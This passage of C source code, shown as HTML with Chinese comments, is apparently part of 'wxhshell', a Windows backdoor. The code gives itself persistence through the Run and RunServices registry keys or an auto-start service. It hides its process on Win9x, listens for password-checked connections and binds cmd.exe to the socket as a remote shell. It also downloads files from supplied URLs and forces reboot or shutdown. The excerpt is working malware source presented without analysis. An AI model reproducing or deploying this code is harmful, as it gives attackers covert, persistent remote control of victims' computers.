<p>&nbsp;// 如果是win9x系统，修改注册表设为自启动<br>&nbsp;if(!OsIsNt) {<br>&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));<br>&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));<br>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;}<br>&nbsp;&nbsp;&nbsp; &nbsp;}<br>&nbsp;}<br>&nbsp;else {</p>
<p>&nbsp;&nbsp;// 如果是NT以上系统，安装为系统服务<br>&nbsp;&nbsp;SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);<br>&nbsp;&nbsp;if (schSCManager!=0)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;SC_HANDLE schService = CreateService<br>&nbsp;&nbsp;&nbsp;(<br>&nbsp;&nbsp;&nbsp;&nbsp;schSCManager,<br>&nbsp;&nbsp;&nbsp;&nbsp;wscfg.ws_svcname,<br>&nbsp;&nbsp;&nbsp;&nbsp;wscfg.ws_svcdisp,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_ALL_ACCESS,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_AUTO_START,<br>&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_ERROR_NORMAL,<br>&nbsp;&nbsp;&nbsp;&nbsp;svExeFile,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;NULL<br>&nbsp;&nbsp;&nbsp;);<br>&nbsp;&nbsp;&nbsp;if (schService!=0)<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schService);<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;&nbsp;&nbsp;strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");<br>&nbsp;&nbsp;&nbsp;&nbsp;strcat(svExeFile,wscfg.ws_svcname);<br>&nbsp;&nbsp;&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;return 1;<br>}</p>
<p>// 自我卸载<br>int Uninstall(void)<br>{<br>&nbsp;&nbsp;&nbsp; HKEY key;</p>
<p>&nbsp;if(!OsIsNt) {<br>&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;RegDeleteValue(key,wscfg.ws_regname);<br>&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&amp;key)==ERROR_SUCCESS) {<br>&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteValue(key,wscfg.ws_regname);<br>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(key);<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;else {</p>
<p>&nbsp;&nbsp;SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);<br>&nbsp;&nbsp;if (schSCManager!=0)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);<br>&nbsp;&nbsp;&nbsp;if (schService!=0)<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if(DeleteService(schService)!=0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schService);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseServiceHandle(schService);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;CloseServiceHandle(schSCManager);<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;return 1;<br>}</p>
<p>// 从指定url下载文件<br>int DownloadFile(char *sURL, SOCKET wsh)<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr;<br>&nbsp;char seps[]= "/";<br>&nbsp;char *token;<br>&nbsp;char *file;<br>&nbsp;char myURL[MAX_PATH];<br>&nbsp;char myFILE[MAX_PATH];</p>
<p>&nbsp;strcpy(myURL,sURL);<br>&nbsp;&nbsp;&nbsp; token=strtok(myURL,seps);<br>&nbsp; &nbsp;while(token!=NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; file=token;<br>&nbsp;&nbsp;&nbsp;&nbsp; token=strtok(NULL,seps);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;GetCurrentDirectory(MAX_PATH,myFILE);<br>&nbsp;strcat(myFILE, "\\");<br>&nbsp;strcat(myFILE, file);<br>&nbsp;&nbsp;&nbsp; send(wsh,myFILE,strlen(myFILE),0);<br>&nbsp;send(wsh,"...",3,0);<br>&nbsp;hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);<br>&nbsp;&nbsp;&nbsp; if(hr==S_OK)<br>&nbsp;&nbsp;return 0;<br>&nbsp;else<br>&nbsp;&nbsp;return 1;</p>
<p>}</p>
<p>// 系统电源模块<br>int Boot(int flag)<br>{<br>&nbsp;&nbsp;&nbsp; HANDLE hToken;<br>&nbsp;&nbsp;&nbsp; TOKEN_PRIVILEGES tkp;</p>
<p>&nbsp;&nbsp;&nbsp; if(OsIsNt) {<br>&nbsp;&nbsp;&nbsp;&nbsp; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&amp;tkp.Privileges[0].Luid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tkp.PrivilegeCount = 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);<br>&nbsp;&nbsp;if(flag==REBOOT) {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else {<br>&nbsp;&nbsp;if(flag==REBOOT) {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))<br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;return 1;<br>}</p>
<p>// win9x进程隐藏模块<br>void HideProc(void)<br>{</p>
<p>&nbsp;&nbsp;&nbsp; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");<br>&nbsp;&nbsp;&nbsp; if ( hKernel != NULL )<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FreeLibrary(hKernel);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;return;<br>}</p>
<p>// 获取操作系统版本<br>int GetOsVer(void)<br>{<br>&nbsp;&nbsp;&nbsp; OSVERSIONINFO winfo;<br>&nbsp;&nbsp;&nbsp; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);<br>&nbsp;&nbsp;&nbsp; GetVersionEx(&amp;winfo);<br>&nbsp;&nbsp;&nbsp; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)<br>&nbsp;&nbsp;&nbsp; &nbsp;return 1;<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; &nbsp;return 0;<br>}</p>
<p>// 客户端句柄模块<br>int Wxhshell(SOCKET wsl)<br>{<br>&nbsp;&nbsp;&nbsp; SOCKET wsh;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in client;<br>&nbsp;&nbsp;&nbsp; DWORD myID;</p>
<p>&nbsp;&nbsp;&nbsp; while(nUser&lt;MAX_USER)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp; int nSize=sizeof(client);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wsh=accept(wsl,(struct sockaddr *)&amp;client,&amp;nSize);<br>&nbsp;&nbsp;&nbsp;&nbsp; if(wsh==INVALID_SOCKET) return 1;</p>
<p>&nbsp;&nbsp;handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &amp;myID);<br>&nbsp;&nbsp;if(handles[nUser]==0)<br>&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;nUser++;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>// 关闭 socket<br>void CloseIt(SOCKET wsh)<br>{<br>&nbsp;closesocket(wsh);<br>&nbsp;nUser--;<br>&nbsp;ExitThread(0);<br>}</p>
<p>// 客户端请求句柄<br>void TalkWithClient(void *cs)<br>{</p>
<p>&nbsp;&nbsp;&nbsp; SOCKET wsh=(SOCKET)cs;<br>&nbsp;&nbsp;&nbsp; char pwd[SVC_LEN];<br>&nbsp;&nbsp;&nbsp; char cmd[KEY_BUFF];<br>&nbsp;char chr[1];<br>&nbsp;int i,j;</p>
<p>&nbsp;&nbsp;&nbsp; while (nUser &lt; MAX_USER) {</p>
<p>&nbsp;&nbsp;if(wscfg.ws_passstr) {<br>&nbsp;&nbsp;&nbsp;if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);<br>&nbsp;&nbsp;&nbsp;//ZeroMemory(pwd,KEY_BUFF);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;i=0;<br>&nbsp;&nbsp;&nbsp;while(i&lt;SVC_LEN) {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;// 设置超时<br>&nbsp;&nbsp;&nbsp;&nbsp;fd_set FdRead;<br>&nbsp;&nbsp;&nbsp;&nbsp;struct timeval TimeOut;<br>&nbsp;&nbsp;&nbsp;&nbsp;FD_ZERO(&amp;FdRead);<br>&nbsp;&nbsp;&nbsp;&nbsp;FD_SET(wsh,&amp;FdRead);<br>&nbsp;&nbsp;&nbsp;&nbsp;TimeOut.tv_sec=8;<br>&nbsp;&nbsp;&nbsp;&nbsp;TimeOut.tv_usec=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;int Er=select(wsh+1, &amp;FdRead, NULL, NULL, &amp;TimeOut);<br>&nbsp;&nbsp;&nbsp;&nbsp;if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;pwd[i]=chr[0];<br>&nbsp;&nbsp;&nbsp;&nbsp;if(chr[0]==0xd || chr[0]==0xa) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pwd[i]=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;i++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;// 如果是非法用户，关闭 socket<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);<br>&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);<br>&nbsp;&nbsp;&nbsp;&nbsp; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);</p>
<p>&nbsp;&nbsp;while(1) {</p>
<p>&nbsp;&nbsp;&nbsp;ZeroMemory(cmd,KEY_BUFF);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;// 自动支持客户端 telnet标准&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;j=0;<br>&nbsp;&nbsp;&nbsp;while(j&lt;KEY_BUFF) {<br>&nbsp;&nbsp;&nbsp;&nbsp;if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;cmd[j]=chr[0];<br>&nbsp;&nbsp;&nbsp;&nbsp;if(chr[0]==0xa || chr[0]==0xd) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmd[j]=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;j++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;// 下载文件<br>&nbsp;&nbsp;&nbsp;if(strstr(cmd,"http://")) {<br>&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_down,strlen(msg_ws_down),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;if(DownloadFile(cmd,wsh))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;else {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;switch(cmd[0]) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 帮助<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case '?': {<br>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 安装<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'i': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Install())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 卸载<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'r': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Uninstall())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 显示 wxhshell 所在路径<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'p': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char svExeFile[MAX_PATH];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(svExeFile,"\n\r");<br>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(svExeFile,ExeFile);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;send(wsh,svExeFile,strlen(svExeFile),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 重启<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'b': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Boot(REBOOT))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExitThread(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 关机<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'd': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(Boot(SHUTDOWN))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_err,strlen(msg_ws_err),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExitThread(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取shell<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 's': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CmdShell(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExitThread(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 退出<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'x': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseIt(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 离开<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 'q': {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(wsh,msg_ws_end,strlen(msg_ws_end),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(wsh);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp;// 提示信息<br>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp; } </p>
<p>&nbsp;&nbsp;&nbsp; return;<br>}</p>
<p>// shell模块句柄<br>int CmdShell(SOCKET&nbsp; sock)<br>{<br>&nbsp;STARTUPINFO si;<br>&nbsp;ZeroMemory(&amp;si,sizeof(si));<br>&nbsp;si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;<br>&nbsp;PROCESS_INFORMATION ProcessInfo;<br>&nbsp;char cmdline[]="cmd";<br>&nbsp;CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;ProcessInfo);<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>// 自身启动模式<br>int StartFromService(void)<br>{<br>&nbsp;typedef struct<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD ExitStatus;<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD PebBaseAddress;<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD AffinityMask;<br>&nbsp;&nbsp;&nbsp;&nbsp; DWORD BasePriority;<br>&nbsp;&nbsp;&nbsp;&nbsp; ULONG UniqueProcessId;<br>&nbsp;&nbsp;&nbsp;&nbsp; ULONG InheritedFromUniqueProcessId;<br>&nbsp;}&nbsp;&nbsp; PROCESS_BASIC_INFORMATION;</p>
<p>&nbsp;PROCNTQSIP NtQueryInformationProcess;</p>
<p>&nbsp;static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;<br>&nbsp;static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;</p>
<p>&nbsp;&nbsp;&nbsp; HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hProcess;<br>&nbsp;&nbsp;&nbsp; PROCESS_BASIC_INFORMATION pbi;</p>
<p>&nbsp;&nbsp;&nbsp; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");<br>&nbsp;&nbsp;&nbsp; if(NULL == hInst ) return 0;</p>
<p>&nbsp;&nbsp;&nbsp; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");<br>&nbsp;&nbsp;&nbsp; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");<br>&nbsp;&nbsp;&nbsp; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");</p>
<p>&nbsp;&nbsp;&nbsp; if (!NtQueryInformationProcess) return 0;</p>
<p>&nbsp;&nbsp;&nbsp; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());<br>&nbsp;&nbsp;&nbsp; if(!hProcess)&nbsp; return 0;</p>
<p>&nbsp;&nbsp;&nbsp; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&amp;pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;</p>
<p>&nbsp;&nbsp;&nbsp; CloseHandle(hProcess);</p>
<p>&nbsp;hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);<br>&nbsp;if(hProcess==NULL)&nbsp;return 0;</p>
<p>&nbsp;HMODULE hMod;<br>&nbsp;char procName[255];<br>&nbsp;unsigned long cbNeeded;</p>
<p>&nbsp;if(g_pEnumProcessModules(hProcess, &amp;hMod, sizeof(hMod), &amp;cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));</p>
<p>&nbsp;&nbsp;&nbsp; CloseHandle(hProcess);</p>
<p>&nbsp;if(strstr(procName,"services")) return 1; // 以服务启动</p>
<p>&nbsp;&nbsp;&nbsp; return 0; // 注册表启动<br>}</p>
<p>// 主模块<br>int StartWxhshell(LPSTR lpCmdLine)<br>{<br>&nbsp;&nbsp;&nbsp; SOCKET wsl;<br>&nbsp;BOOL val=TRUE;<br>&nbsp;&nbsp;&nbsp; int port=0;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in door;</p>
<p>&nbsp;&nbsp;&nbsp; if(wscfg.ws_autoins) Install();</p>
<p>&nbsp;port=atoi(lpCmdLine);</p>
<p>&nbsp;if(port&lt;=0) port=wscfg.ws_port;</p>
<p>&nbsp;&nbsp;&nbsp; WSADATA data;<br>&nbsp;&nbsp;&nbsp; if(WSAStartup(MAKEWORD(2,2),&amp;data)!=0) return 1;</p>
